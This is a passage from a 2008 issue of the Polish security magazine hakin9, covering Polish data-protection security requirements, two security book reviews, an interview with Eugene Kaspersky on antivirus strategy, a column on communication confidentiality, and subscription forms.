Tabela 2.

Zawartość dokumentu Instrukcja zarządzania systemem

informatycznym służącym do przetwarzania danych osobowych

Lp

Zawartość dokumentu

Instrukcja zarządzania systemem informatycznym

służącym do przetwarzania danych osobowych

1

Procedury nadawania uprawnień do przetwarzania danych i reje-
strowania tych uprawnień w systemie informatycznym oraz wskaza-
nie osoby odpowiedzialnej za te czynności

2

Stosowane metody i środki uwierzytelnienia oraz procedury związa-
ne z ich zarządzaniem i użytkowaniem

3

Procedury rozpoczęcia, zawieszenia i zakończenia pracy przezna-
czone dla użytkowników systemu

4

Procedury tworzenia kopii zapasowych zbiorów danych oraz progra-
mów i narzędzi programowych służących do ich przetwarzania

5

Sposób, miejsce i okres przechowywania: elektronicznych nośników
informacji zawierających dane osobowe, kopii zapasowych zbiorów
danych

6

Sposób zabezpieczenia systemu informatycznego przed działalno-
ścią oprogramowania, którego celem jest uzyskanie nieuprawnione-
go dostępu do systemu informatycznego

7

Sposób realizacji odnotowania informacji o odbiorcach, którym da-
ne osobowe zostały udostępnione, dacie i zakresie udostępnienia,
chyba że system informatyczny używany jest do przetwarzania da-
nych w zbiorach jawnych

Rysunek 3.

Poziomy bezpieczeństwa przetwarzania danych osobowych

�����������������������

�����������������

���������������������

������������������

�������������������

�������������

�����������������

������������������

����������

�����������

������

background image

hakin9 Nr 3/2008

www.hakin9.org

Bezpieczna firma

72

i w pionie od miejsca ich wytwo-
rzenia). W przypadku stosowa-
nia komputerów przenośnych do
przetwarzania danych osobowych,
należy zapewnić ochronę krypto-
graficzną danych osobowych prze-
twarzanych poza obszarem prze-
twarzania.

Urządzenia, dyski, elektro-

niczne nośniki informacji przezna-
czone do likwidacji lub przekaza-
nia podmiotowi nieuprawnionemu
należy pozbawić zapisu danych
w sposób trwały, a w przypadku
ich naprawy – naprawiać je pod
nadzorem.

Na administratorze danych

spoczywa obowiązek monitorowa-
nia wdrożonych zabezpieczeń sys-
temu informatycznego.

Poziom podwyższony

Poziom podwyższony stosuje się,
gdy w systemie informatycznym
przetwarza się dane wrażliwe oraz
żadne z urządzeń systemu infor-
matycznego nie jest połączone
z siecią publiczną. Środki bezpie-
czeństwa na poziomie podwyż-
szonym określa część B załączni-
ka do rozporządzenia MSWiA.

Na poziomie podwyższonym

stosuje się – zgodnie z zasadą
kaskadowości – środki ochrony
właściwe dla poziomu podstawo-
wego. Dodatkowo administrator
danych ma obowiązek wdrożyć ni-
żej wymienione środki ochrony.
W przypadku, gdy do uwierzytel-
niania użytkowników systemu uży-
wa się hasła, hasło powinno za-
wierać małe i duże litery oraz cyfry
lub znaki specjalne i składać się
z co najmniej 8 znaków. W przy-

padku, gdy urządzenia i elektro-
niczne nośniki informacji zawie-
rające dane osobowe tzw. wraż-
liwe
przekazywane są poza
obszar

przetwarzania,

nale-

ży zabezpieczyć je w spo-
sób zapewniający ochronę po-
ufności i integralność danych.
Opis zastosowanych środków
powinna

określać

instrukcja

zarządzania systemem informa-
tycznym służącym do przetwarza-
nia danych osobowych
.

Poziom wysoki

Poziom wysoki stosuje się, gdy
przynajmniej jedno urządzenie
systemu informatycznego połączo-
ne jest z siecią publiczną. Środki
bezpieczeństwa na poziomie wy-
sokim określa część C załącznika
do rozporządzenia MSWiA.

Na poziomie wysokim stosu-

je się – zgodnie z zasadą kaska-
dowości – środki ochrony właści-
we dla poziomu podwyższonego i
poziomu podstawowego. Dodatko-

Podstawowe pojęcia związane z bezpieczeństwem

teleinformatycznym

• dane osobowe – wszelkie informacje dotyczące zidentyfikowanej lub możli-

wej do zidentyfikowania osoby fizycznej,

• administrator danych – organ, jednostka organizacyjna, podmiot lub osoba,

decydująca o celach i środkach przetwarzania danych osobowych,

• administrator bezpieczeństwa informacji – osoba nadzorująca przestrze-

ganie zasad ochrony danych osobowych,

• zbiór danych – każdy posiadający strukturę zestaw danych o charakterze

osobowym, dostępny według określonych kryteriów, niezależnie od tego,
czy zestaw ten jest rozproszony lub podzielony funkcjonalnie,

• przetwarzanie danych – jakiekolwiek operacje wykonywane na danych

osobowych, takie jak zbieranie, utrwalanie, przechowywanie, opracowy-
wanie, zmienianie, udostępnianie i usuwanie, a zwłaszcza te, które wyko-
nuje się w systemach informatycznych,

• system informatyczny – zespół współpracujących ze sobą urządzeń, pro-

gramów, procedur przetwarzania informacji i narzędzi programowych za-
stosowanych w celu przetwarzania danych,

• zabezpieczenie danych w systemie informatycznym – wdrożenie i eksplo-

atacja stosownych środków technicznych i organizacyjnych zapewniają-
cych ochronę danych przed ich nieuprawnionym przetwarzaniem,

• hasło – ciąg znaków literowych, cyfrowych lub innych, znany jedynie oso-

bie uprawnionej do pracy w systemie informatycznym,

• identyfikator użytkownika – ciąg znaków literowych, cyfrowych lub innych,

jednoznacznie identyfikujących osobę upoważnioną do przetwarzania da-
nych osobowych w systemie informatycznym

• uwierzytelnianie – działanie, którego celem jest weryfikacja deklarowanej

tożsamości podmiotu,

• poufność danych – właściwość zapewniająca, że dane nie są udostępnia-

ne nieupoważnionym podmiotom,

• rozliczalność – właściwość zapewniająca, że działania podmiotu mogą być

przypisane w sposób jednoznaczny tylko temu podmiotowi,

• integralność danych – właściwość zapewniająca, że dane osobowe nie zo-

stały zmienione lub zniszczone w sposób nieautoryzowany,

• usuwanie danych – zniszczenie danych osobowych lub taka ich modyfi-

kacja, która nie pozwoli na ustalenie tożsamości osoby, której dane doty-
czą,

• raport – przygotowane przez system informatyczny zestawienia zakresu i

treści przetwarzanych danych,

• teletransmisja – przesyłanie informacji za pośrednictwem sieci telekomuni-

kacyjnej,

• sieć publiczna – publiczna sieć telekomunikacyjna wykorzystywana głów-

nie do świadczenia publicznie dostępnych usług telekomunikacyjnych.

Tabela 3.

Poziomy bezpieczeństwa

przetwarzania danych osobowych w
systemie informatycznym

Lp. Poziomy bezpieczeństwa

przetwarzania danych

osobowych w systemach

informatycznych

1

podstawowy

2

podwyższony

3

wysoki

background image

hakin9 Nr 3/2008

73

wo administrator danych ma obowiązek wdrożyć ni-
żej wymienione środki ochrony. System informatycz-
ny należy chronić przed zagrożeniami pochodzący-
mi z sieci publicznej poprzez wdrożenie fizycznych
lub logicznych zabezpieczeń chroniących przed nie-
uprawnionym dostępem.

W przypadku zastosowania logicznych zabezpie-

czeń należy zapewnić kontrolę przepływu informa-
cji pomiędzy systemem informatycznym administra-
tora danych a siecią publiczną oraz kontrolę dzia-
łań inicjowanych z sieci publicznej i systemu informa-
tycznego administratora danych (np. poprzez zasto-
sowanie zapory ogniowej). W przypadku, gdy dane
do uwierzytelniania użytkowników systemu przesyła-
ne są w sieci publicznej, należy zastosować środki
ochrony kryptograficznej.

Szczegółowe informacje na temat środków ochro-

ny na poszczególnych poziomach bezpieczeństwa
określa załącznik do rozporządzenia MSWiA.

Należy zauważyć, że wyżej wymienione rozpo-

rządzenie określa minimalne wymagania w zakresie
bezpieczeństwa teleinformatycznego danych osobo-
wych.

Administrator danych może dodatkowo zastoso-

wać inne środki ochrony w celu zapewnienia bezpie-
czeństwa przetwarzania danych osobowych, niż to
wynika z wymagań określonych w ustawie i rozpo-
rządzeniu MSWiA.

Podsumowanie

Przepisy prawa określają minimalne wymagania
związane z bezpieczeństwem teleinformatycznym
danych osobowych.

Oprócz nich należy uwzględnić zalecenia Ge-

neralnego Inspektora Ochrony Danych Osobowych
dotyczące problematyki bezpieczeństwa teleinfor-
matycznego danych osobowych oraz polskie normy
dotyczące bezpieczeństwa informacji, które stano-
wią źródło tzw. dobrych praktyk, a w szczególności:
PN-ISO/IEC 17799: 2007 Technika informatyczna
– Techniki bezpieczeństwa – Praktyczne zasady za-
rządzania bezpieczeństwem informacji
i PN-ISO/IEC
27001: 2007 Technika informatyczna – Techniki bez-
pieczeństwa – Systemy zarządzania bezpieczeń-
stwem informacji – Wymagania.
l

O autorze

Audytor systemów zarządzania jakością i zarządzania bez-
pieczeństwem informacji, specjalista w zakresie ochrony in-
formacji prawnie chronionych, redaktor portalu www.ochrona-
informacji.pl
Kontakt z autorem: a.guzik@ochronainformacji.pl

background image

hakin9 Nr 3/2008

www.hakin9.org

74

Księgozbiór

Tytuł: Cisco PIX. Firewalle

Autorzy: zespół autorów

Wydawca: Helion

Rok wydania w Polsce: 2006

Liczba stron: 544

Jedna z niewielu pozycji książkowych, która w sposób
bardzo szczegółowy podchodzi do tematu firewalli PIX
firmy Cisco. W początkowych rozdziałach tej książki omó-
wione zostały teoretyczne podstawy bezpieczeństwa
zapór sieciowych. Na uwagę zasługuje ukazanie – na
przykładzie Cisco Wheel – procesowego podejścia do
bezpieczeństwa, które staje się bardzo popularne i zosta-
nie standardem nie tylko dla urządzeń produkowanych
przez Cisco. Dla raczkujących w dziedzinie zabezpieczeń
przeznaczony jest opis certyfikatów Cisco dotyczących
firewalli, co zapewne pomoże takim użytkownikom wybrać
właściwą drogę rozwoju. Kolejne rozdziały zawierają już
bardziej praktyczne informacje. Dotyczą one posługiwania
się samymi firewallami oraz ich działania, licencjonowa-
nia, protokołów transmisji czy też komunikacji z tymi urzą-
dzeniami. W dalszej części tekstu można prześledzić funk-
cjonowanie ASDM – czyli przyjaznego menu, służącego
do konfiguracji i monitorowania urządzenia bezpośrednio

z sieci. W książce znajdziemy również wiele informacji na
temat bezpiecznej konfiguracji VPN. Całość jest doskona-
le skomponowana, o czym świadczy dobre uzupełnienie
materiałów praktycznych o niezbędne informacje teore-
tyczne. Jest to jedna z tych pozycji, którą dla powiększenia
swojej wiedzy można przeczytać od początku do końca
lub odnosząc się tylko do poszczególnych rozdziałów, z
których każdy stanowi niezależną całość. Wielokrotnie w
swojej codziennej pracy sięgałem do tej książki, stanowi
ona uzupełnienie mojej wiedzy w zakresie firewalli PIX.
Książka zawiera bardzo wyczerpujący opis firewalli PIX,
metod ich konfiguracji oraz administracji nimi. Wszystko to
zostało opisane w sposób wyjątkowo czytelny, w zrozu-
mieniu tekstu pomoże szeroki zestaw screenshotów, sche-
matów oraz przykładów sesji terminalowych urządzenia.
To bardzo przydatna książka, którą powinien mieć każdy
administrator zarządzający firewallami PIX.

Jarosław Peterko

Tytuł: Windows Server 2003. Bezpieczeństwo sieci

Autorzy: Neil Ruston, Chris Peiris, Laura Hunter

Wydawca: Helion

Rok wydania w Polsce: 2007

Liczba stron: 584

Książka Windows Server 2003. Bezpieczeństwo sieci to
kompendium wiedzy na temat tego systemu operacyjne-
go w aspekcie bezpieczeństwa sieci. Publikacja jest adre-
sowana do administratorów oraz osób projektujących sieci
komputerowe. Książka ta bardzo dobrze ukazuje problema-
tykę bezpieczeństwa sieci w środowiskach opartych o system
Windows Server 2003. Autorzy krok po kroku wprowadzają
w coraz ważniejsze i bardziej skomplikowane mechanizmy
zabezpieczeń, wspierając Czytelnika przykładami konfigu-
racji systemu. Publikacja zawiera informacje, które pozwo-
lą na zaprojektowanie oraz funkcjonowanie bezpiecznego
środowiska. Zawarte zostały również informacje odnośnie
zaprojektowania bezpiecznej infrastruktury klienckiej. Książ-
ka przedstawia także metody wykrywania naruszeń bezpie-
czeństwa oraz schemat postępowania w takich sytuacjach.
Czytelnik znajdzie tu kompletne informacje na temat zabez-
pieczenia sieci od podstaw, jak również szczegółowe dane
na temat usług zaimplementowanych w systemie Windows

Server 2003 w kontekście zabezpieczeń. Autorzy rozpoczy-
nają książkę od omówienia podstaw bezpieczeństwa obo-
wiązujących dla wszystkich środowisk serwerowych, których
zrozumienie umożliwia projektowanie bezpiecznych sieci.
W dalszej części publikacji zostają szczegółowo omówio-
ne mechanizmy zabezpieczeń dla usług sieciowych, którymi
dysponuje Windows Server 2003. Przykładem usługi, która
została opisana w książce, jest IIS. Od niedawna usługa IIS
zdobywa coraz większą popularność, książka zawiera infor-
macje pozwalające zabezpieczyć witrynę opartą o Active
Server Pages
. Moim zdaniem wśród opisanych rozwiązań
praktycznych brakuje szerszego przedstawienia problemu
bezpieczeństwa usług terminalowych oraz protokołu RDP,
które to usługi są coraz szerzej wykorzystywane.

Książka jest warta polecenia administratorom oraz pro-

jektantom środowisk opartych o system Windows Server
2003.

Rafał Pop

background image
background image

www.hakin9.org

hakin9 Nr 3/2008

76

Wywiad

hakin9:

Czy mógłbyś przedstawić się naszym

Czytelnikom?

Eugene Kaspersky:

Nazywam się Euge-

ne Kaspersky i jestem założycielem oraz CEO
(Chief Executive Officer) firmy Kaspersky Lab,
jednego z wiodących producentów dostarcza-
jących bezpiecznych rozwiązań informatycz-
nych na całym świecie. Przez ostatnie 18 lat mia-
łem do czynienia z zagrożeniami komputerowy-
mi – zaczynając od konwencjonalnych wirusów
jeszcze w 1989 roku, na nowoczesnych, złożo-
nych i gwałtownie rosnących liczebnie niebezpie-
czeństwach internetowych kończąc.

h9:

Czy mógłbyś wyjawić sekrety dotyczące stra-

tegii firmy Kaspersky w nadchodzącym 2008 ro-
ku?

EK:

W pierwszej kolejności planujemy umoc-

nić naszą obecność na wszystkich obszarach
geograficznych. W chwili obecnej przodujemy
w sprzedaży w Europie i Stanach Zjednoczonych
(zajmujemy pierwsze miejsce w handlu detalicz-
nym w Niemczech, Austrii i Szwajcarii, drugie we
Francji oraz trzecie w Hiszpanii), lecz nadal za-
leży nam na zdobyciu lepszej pozycji w krajach
Ameryki Łacińskiej, Azji, na Bliskim Wschodzie
czy w Afryce. Na drugim miejscu stawiamy po-
dążanie za postępem technologicznym oraz cią-

gły rozwój najlepszych na świecie rozwiązań an-
tywirusowych.

I po trzecie, w 2008 roku zamierzamy skupić

się na umocnieniu pozycji na rynku rozwiązań ko-
mercyjnych. W chwili obecnej obserwujemy za-
skakujący wzrost sprzedaży produktów skiero-
wanych do użytkownika domowego, lecz najwyż-
sza pora na przejęcie rynku biznesowego. Po-
siadamy w ofercie kilka korporacyjnych produk-
tów, które skupiają na sobie uwagę coraz więk-
szej ilości klientów z całego świata, od Australii
do Szwecji.

Ponadto planujemy kontynuować rozwijanie

naszych bezpiecznych usług oferowanych fir-
mom. W wielu przypadkach rozwiązania te są
najbardziej odpowiednie dla określonego typu
biznesu, który nie może sobie pozwolić na za-
kup dodatkowego wyposażenia, oprogramowa-
nia oraz zatrudnienia dodatkowych oficerów bez-
pieczeństwa. Myślę, iż jest to bardzo obiecują-
cy rynek.

h9:

Kto wprowadził cię w świat komputerów?

EK:

Początkowo komputery pojawiły się w mo-

im życiu z powodu moich matematycznych
studiów na uczelni. W tamtych czasach kompu-
tery były narzędziem służącym mojej matematy-
ce i edukacji, wliczając w to częściowo informaty-

Wywiad z Eugenem

Kasperskym

Eugene Kaspersky należy do

czołowych ekspertów w dziedzinie

bezpieczeństwa informacji: jest

autorem wielu artykułów

i recenzji dotyczących problematyki

wirusologii komputerowej, regularnie

przemawia na specjalistycznych

seminariach i konferencjach

organizowanych na całym świecie.

background image

hakin9 Nr 3/2008

www.hakin9.org

77

Wywiad

kę. Z pierwszym wirusem miałem do czynienia kilka lat póź-
niej, w 1989, podczas mojej służby wojskowej, gdy do mo-
ich obowiązków należało programowanie i gdzie posiada-
łem dostęp do niesamowicie zaawansowanej maszyny jak
na tamte czasy i moje stanowisko – Olivetti M24. Maszy-
na ta została niespodziewanie zainfekowana powszechnie
znanym wirusem Cascade, który był pierwszym złośliwym
oprogramowaniem, które przeanalizowałem i na które stwo-
rzyłem lekarstwo.

h9:

Czy byłeś dzieckiem blackhat, jak wielu Czytelników

magazynu hakin9 w latach 80-90?

EK:

Nigdy. W latach 80-tych i wczesnych 90-tych pracowa-

łem nad bezpieczeństwem komputerowym i nie miało to nic
wspólnego z terminami blackhat czy hacking. Ponadto wie-
rzę w czarny i biały wszechświat – jeśli raz spróbowałeś nie-
legalnych działań, nigdy już nie będziesz w stanie przejść
na dobrą stronę i chronić ludzi. I jako ostatnie pragnę zazna-
czyć, iż żaden były haker nie pracuje w mojej firmie, mimo,
że kilku z nich przysyła nam od czasu do czasu swoje CV.

h9:

AV bazujące na sygnaturach były mocno krytykowane.

Czy sądzisz, że ten trend zmieni się w przyszłości?

EK:

Oczywistym jest fakt, iż w dzisiejszych czasach ob-

serwujemy wzrost ilości złośliwego oprogramowania,
a w związku z tym coraz trudniej będzie borykać się z tym
problemem firmom zajmującym się bezpieczeństwem. Jak-
kolwiek, obecnie wszystkie największe firmy są przygoto-
wane do tego wzrastającego trendu, a metoda bazująca na
sygnaturach pozostaje głównym i najbardziej precyzyjnym
sposobem wykrywania i neutralizowania zagrożeń. Oczy-
wiście heurystyka i detekcja opierająca się na analizie za-
chowawczej będą odgrywały coraz większą rolę, równo-
cześnie zwiększając efektywność, lecz nie sądzę, aby te
metody były w stanie całkowicie zastąpić metodę bazują-
cą na sygnaturach.

h9:

W jaki sposób utrzymujecie precyzyjność sygnatur

AV?

EK:

Jeśli masz na myśli, w jaki sposób wykluczamy fał-

szywe trafienia – robimy to za pomocą podwójnych i po-
trójnych testów na wszystkich sygnaturach zagrożeń. Te-
stujemy je i analizujemy pod kątem rzekomego złośliwe-
go zachowania, z zachowaniem zasady, aby nie doda-
wać sygnatury w przypadku nieszkodliwego i użyteczne-
go oprogramowania.

h9:

Jak zamierzacie rywalizować w istniejącym wyścigu

oprogramowania AV?

EK:

To zabawne pytanie, gdyż już obecnie współzawod-

niczymy w świecie oprogramowania AV. Aktualnie nasza
firma znajduje się na 6 pozycji na rynku globalnych bez-
piecznych rozwiązań i w roku 2008 mamy nadzieję zająć
5 miejsce. Ale oczywiście nie jest to nasz jedyny cel.

h9:

Co robić przeciwko wirusom polimorficznym?

EK:

To jest bardzo dobre pytanie, na które nie jest łatwo

odpowiedzieć, gdyż jest ono zbyt techniczne. Przeciwko
poliwirusom używamy różnych metod, takich jak: emu-
lacja, detekcja szkieletowa, analiza statystyczna, metody
kryptologiczne i inne – w zależności od konkretnie zasto-
sowanego algorytmu polimorficznego.

h9:

Nadal istnieje wielu dostawców AV, których produkty

bazują jedynie na detekcji sygnatur.

EK:

Tak, nadal jest kilka takich firm, lecz ich sytuacja jest

bez nadziei na poprawę. Będą musieli dorównać pozo-
stałym lub staną się historią. Analizy oparte jedynie na
sygnaturach, nie mogą mierzyć się z tysiącami nowego
złośliwego oprogramowania powstającymi każdego tygo-
dnia i proaktywne technologie staną się koniecznym uzu-
pełnieniem dla metod opartych o wyłącznie o sygnatury.

h9:

Jakie narzędzia są używane w twojej firmie lub z ja-

kich narzędzi korzystacie przy tworzeniu własnych?

EK:

Częściowo używamy popularnych narzędzi przy-

gotowanych przez inne firmy zajmujące się bezpieczeń-
stwem. Czasami jednak nasze zadanie jest zbyt unikalne
(na przykład jesteśmy jedynymi, którzy stosują aktuali-
zacje sygnatur co godzinę), więc musimy tworzyć i uży-
wać nasze własne narzędzia. Korzystamy z zaprojekto-
wanych przez nas samych, automatycznych analizato-
rów złośliwego oprogramowania oraz analizatorów heu-
rystycznych.

h9:

Czy wierzysz, iż wielu badaczy tworzy złośliwe opro-

gramowanie?

EK:

Cóż, 25 czy nawet 15 lat temu to się zdarzało, lecz

nie w chwili obecnej. Na przykład pierwszy wirus na plat-
formę biurową został utworzony w 1982 roku przez ba-
daczy, w celu udowodnienia teorii o możliwości istnie-
nia samo-rozprzestrzeniającego się oprogramowania.
Obecnie twórcy wirusów nie są badaczami ani chuligana-
mi – są kryminalistami i ich głównym celem jest cel przy-
świecający wszystkim przestępcom – nielegalne zarabia-
nie pieniędzy. Najpopularniejsze złośliwe oprogramowa-
nie zostało w większości stworzone wyłącznie w jednym
celu – by generować nielegalne dochody. Kradzież da-
nych dotyczących kart kredytowych, ataki DDoS, SPAM
– to tylko kilka przykładów na zarabianie przy pomocy mal-
ware'u
. Wszystko, co miało zostać odkryte na tym polu, zo-
stało wynalezione, teraz ta wiedza jest jedynie wprowadza-
na w życie.

h9:

Dziękujemy za rozmowę.

EK:

Dziękuję.

background image

hakin9 Nr 3/2008

www.hakin9.org

78

Z

ałóżmy, że istnieje komunikacja, w której kompu-
ter występuje tylko, jako specjalistyczne medium,
przystosowane do warunków stawianych tej komu-

nikacji, przez które zachodzi owa komunikacja. Załóżmy,
że komunikacja ta potrafi zapewnić takie same warunki
transmisji bez względu na rodzaj przesyłanych danych.
Posiada ona zdolność realizacji transmisji (dostarczania
i odbierania informacji) w dokładnie wyznaczonym przez
użytkownika czasie. Rozpoczęta transmisja będzie posia-
dać zdolność do odtwarzania przekazywanych informacji
pomiędzy dwoma punktami komunikacyjnymi (np. klien-
tem i serwerem) z wymaganą przez użytkownika dokład-
nością. Pod pojęciem dokładności kryje się tutaj zdolność
zachowania identycznej treści informacji wysłanej przez
nadawcę i dostarczonej do odbiorcy. Oczywiście, najważ-
niejszym założeniem komunikacji jest jej poufność, czyli
uniemożliwienie do przechwycenia nawiązanej łączności.

Posiadając zdefiniowane podstawowe założenia, które

spełnia technologia, należy do niej przygotować odpo-
wiednich operatorów, czyli osoby funkcyjne przestrzega-
jące warunków bezpieczeństwa łączności. Osoby uży-
wające z założenia bezpiecznej transmisji same muszą
postępować według ściśle określonych reguł, by poziom
poufności komunikacji nie został naruszony poprzez jej
nieodpowiednie wykorzystanie. Z założenia osoby takie
powinny wyłącznie transmitować za jej pomocą wiado-
mości niezbędne do przekazania zamierzonych informa-
cji, wykorzystywać tylko łącza między zaufanymi i ziden-
tyfikowanymi punktami komunikacyjnymi, dokonywać
okresowych zmian w kryptografii transmisji z osobistym
powiadomieniem drugiej strony o zaistniałym fakcie,
a w przypadku łączności bezprzewodowej – pracować
z minimalną, niezbędną mocą urządzeń transmisyjnych,
stosując anteny kierunkowe, pozostające w minimalnej
widoczności; w przypadku łączności mobilnej – wybierać
właściwe miejsca na dokonywanie komunikacji. Poprzez
stosowanie się do tych postanowień wyznaczamy tylko
pewien procent pełnej zgodności z bezpieczeństwem
komunikacji, ponieważ np. dokonując okresowych zmian
w kodowaniu łącza nie możemy sobie pozwolić na zmianę
danych kryptograficznych w innym terminie, niż to zosta-
ło uzgodnione z drugą stroną. Ponadto do listy zakazów
możemy dodać zapisywanie kluczy, loginów i danych iden-

Założenia komunikacji

tyfikacyjnych na nie rejestrowanych nośnikach danych.
Mając na myśli wiadomości niezbędne do przekazania
zamierzonych informacji
wyklucza się ujawnianie w trak-
cie komunikacji takich informacji jak: przyjętych nicków
czy kryptonimów, pełnych lub częściowych danych per-
sonalnych (nazwisk, posad, stanowisk, adresów), lokali-
zacji środków łączności, terminów nawiązywania kolejnych
transmisji czy podsumowań wymiany informacji.

Wszystkie te wytyczne i założenia stanowią zaledwie

część pełnych zasad bezpieczeństwa komunikacji. Mają
one na celu uniemożliwienie osobie postronnej ingeren-
cji w naszą komunikację, jej przechwycenie oraz lokaliza-
cję środków łączności czy rozpoznanie osób ją nawiązu-
jących. Widocznym na pierwszy rzut oka jest fakt bardzo
restrykcyjnych i ograniczających etykiet w swobodzie
przepływu informacji. Co zawsze paradoksalnie wpływa-
ło na stosunek: bezpieczeństwo – swoboda, ponieważ
najważniejszymi założeniami komunikacji jest swobod-
ne przekazywanie informacji z zachowaniem najwięk-
szej jej poufności. Dlatego w wielu projektach komunika-
cyjnych, w wyniku znalezienia kompromisu między tymi
dwoma z natury sprzecznymi zjawiskami, powstaje luka,
której wykorzystanie zazwyczaj opiera się na wykorzy-
staniu słabości bezpieczeństwa w celu dotarcia do swo-
bodnie przekazywanych informacji. Rezygnując z prze-
kazywania wrażliwych z punktu widzenia możliwości
wykorzystania informacji, unikamy ryzyka nawet w przy-
padku przełamania zabezpieczeń komunikacji. Jednak
z założenia głównym celem komunikacji jest przekazywa-
nie właśnie takich informacji. W tym klasycznym modelu
o swobodzie i bezpieczeństwie komunikacji decyduje
zarówno nadawca, jak i odbiorca informacji. Jeśli, mimo
stosowanych zasad, nadawca osiągnął to, o co mu cho-
dziło, a odbiorca otrzymał to, na co oczekiwał – jakość
komunikacji jest wysoka. Jeśli nadawca prosi o wykonanie
danej czynności, a odbiorca ją wykonuje – komunikacja
jest skuteczna. Jeśli podczas komunikacji odbiorca może
stosować dopytywanie, parafrazowanie lub empatyzowa-
nie informacji przekazywanych przez nadawcę – komu-
nikacja jest swobodna. Natomiast jeśli wszystkie powyż-
sze trzy warunki są spełnione jednocześnie – komunikacja
nigdy nie będzie postrzegana jako bezpieczna, bez wzglę-
du na stosowaną technologię. l

Patryk Krawaczyński agresor@nfsec.pl

Felieton

background image

Tytuł

Ilość numerów

w roku

Ilość zamawianych

prenumerat

Od numeru pisma

lub miesiąca

Opłata w zł

z VAT

hakin9 (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

12

900

Dodatkowy drukowany egzemplarz

12

80

W sumie

(liczba prenumerat x cena)

Formularz zamówienia prenumeraty

Dane osoby / firmy zamawiającej

Imię i nazwisko

Stanowisko

ID kontrahenta*

* jeżeli jesteś już klientem firmy Software-Wydawnictwo Sp. z o.o. – wystarczy, że podasz swój numer ID kontrahenta; jeżeli nie posiadasz takiego numeru, podaj swe dane teleadresowe

Upoważniam firmę Software-Wydawnictwo Sp. z o.o. do wystawienia faktury VAT bez podpisu odbiorcy

Pieczęć firmy i podpis

Nazwa firmy

Dokładny adres

Telefon (wraz z numerem kierunkowym)

Faks (wraz z numerem kierunkowym)

Adres e-mail

Numer NIP firmy

Prosimy wypełnić czytelnie i przesłać faksem na numer:

(22) 427 36 69

lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,

Bokserska 1, 02-682 Warszawa,

e-mail: pren@software.com.pl

Przyjmujemy też zamówienia telefoniczne:

(22) 427 36 79

UWAGA: Nadesłanie zamówienia jest jednocześnie zobowiązaniem do zapłaty.

w w w . b u y i t p r e s s . c o m . p l

Prenumerata korporacyjna hakin9 pozwoli Ci

na dowolne powielenie i rozpowszechnianie pisma

w obrębie Twojej firmy

Numer konta: NORDEA BANK POLSKA 46 1440 1299 0000 0000 0391 8238

W ramach prenumeraty korporacyjnej otrzymają Państwo:

1. Pismo w wersji elektronicznej

2. Dwa dodatkowe egzemplarze w wersji drukowanej

3. CD-ROM zawierający archiwum wszystkich numerów z 2006 roku

background image

Zaprenumeruj swoje ulubione magazyny

i zamów archiwalne numery!

Już teraz w kilka minut możesz zaprenumerować swoje ulubione pismo.
Gwarantujemy:

- preferencyjne ceny
- bezpieczną płatność on-line
- szybką realizację Twojego zamówienia
Bezpieczna prenumerata on-line wszystkich tytułów Wydawnictwa Software!

www.buyitpress.com

background image

Prosimy wypełnić czytelnie i przesłać faksem na numer:

(22) 244 24 59 lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,

Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne:

(22) 427 36 79

Imię i nazwisko............................................................................................ ID kontrahenta..........................................................................................

Nazwa firmy................................................................................................. Numer NIP firmy.......................................................................................

Dokładny adres....................................................................................................................................................................................................................

Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................

E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................

Zamówienie prenumeraty

1

Cena prenumeraty rocznej dla osób prywatnych

2

Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+

3

W lipcu i sierpniu ukazuje się jeden wakacyjny numer

Jeżeli chcesz zapłacić kartą kredytową, wejdź na

stronę naszego sklepu internetowego:

www.buyitpress.com

automatyczne przedłużenie prenumeraty

Tytuł

Ilość

numerów

Ilość

zamawianych

prenumerat

Od numeru

pisma lub

miesiąca

Opłata

w zł

z VAT

Software Developer’s Journal (1 płyta CD)

– dawniej Software 2.0

Miesięcznik profesjonalnych programistów

12

250/180

1

SDJ Extra

(od 1 do 4 płyt CD lub DVD)

– dawniej Software 2.0 Extra!

Numery tematyczne dla programistów

6

150/135

2

Linux+DVD (2 płyty DVD)

Miesięcznik o systemie Linux

11

3

199/179

1

Linux+Extra! (od 1 do 7 płyt CD lub DVD)

Numery specjalne z najpopularniejszymi dystrybucjami Linuksa

8

232/198

2

PHP Solutions (1 płyta CD)

Dwumiesięcznik o zastosowaniach języka PHP

6

135

hakin9 - jak się obronić (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

11

3

199

1

/219

.psd (2 płyty CD)

Miesięcznik użytkowników programu Adobe Photoshop

11

3

199

.psd numery specjalne

(.psd Extra + .psd Starter Kit)

6

140

3DFX

Dwumiesięcznik miłośników grafiki trójwymiarowej

6

140

Suma

background image

hakin9 Nr 3/2008

www.hakin9.org

82

Aktualne informacje o najbliższym numerze

http://www.hakin9.org/pl
Numer w sprzedaży na początku kwietnia 2008 r.

Redakcja zastrzega sobie prawo zmiany zawartości pisma.

4/2008

w następnym numerze między

innymi:

Zapowiedzi

Zagrożenia płynące z używania Bluetooth’a

Bluetooth jest sukcesorem takich interfejsów, jak IRDA czy FastIRDA. Arty-
kuł Mariana Witkowskieg opisuje jakie zagrożenia niesie ze sobą nieumiejęt-
ne korzystanie z tej technologii.

Formaty graficzne

z punktu widzenia bughuntera

W tym numerze Michał Składnikiewicz podją temat błędów w aplikacjach
korzystających z formatu BMP. W następnym miesiącu zajmie się kolejnymi
formatami graficznymi.

Hashlimit

Jednym ze znakomitych sposobów dozbrajania oraz poszerzania funkcjo-
nalności firewalla, jest korzystanie z łatki hashlimit. Oferowane przez nią
możliwości są ograniczone jedynie wyobraźnią administratora. Opisane w
artykule rozwiązania będą przedstawiane oraz testowane w rzeczywistym
środowisku, które obsługuje sieć na parę tysięcy klientów z dostępem do
Internetu (lokalny ISP). Konfigurować będziemy główny router a zarazem
firewall, który kontroluje ruch internetowy indywidualnych klientów oraz
serwera usługowego z zainstalowanymi usługami WWW/FTP/mail/DNS/
SSH i Verlihub.

NA CD:

hakin9.live – bootowalna dystrybucja Linuksa,
• mnóstwo narzędzi – niezbędnik hakera,
• tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach,
• dodatkowa dokumentacja,
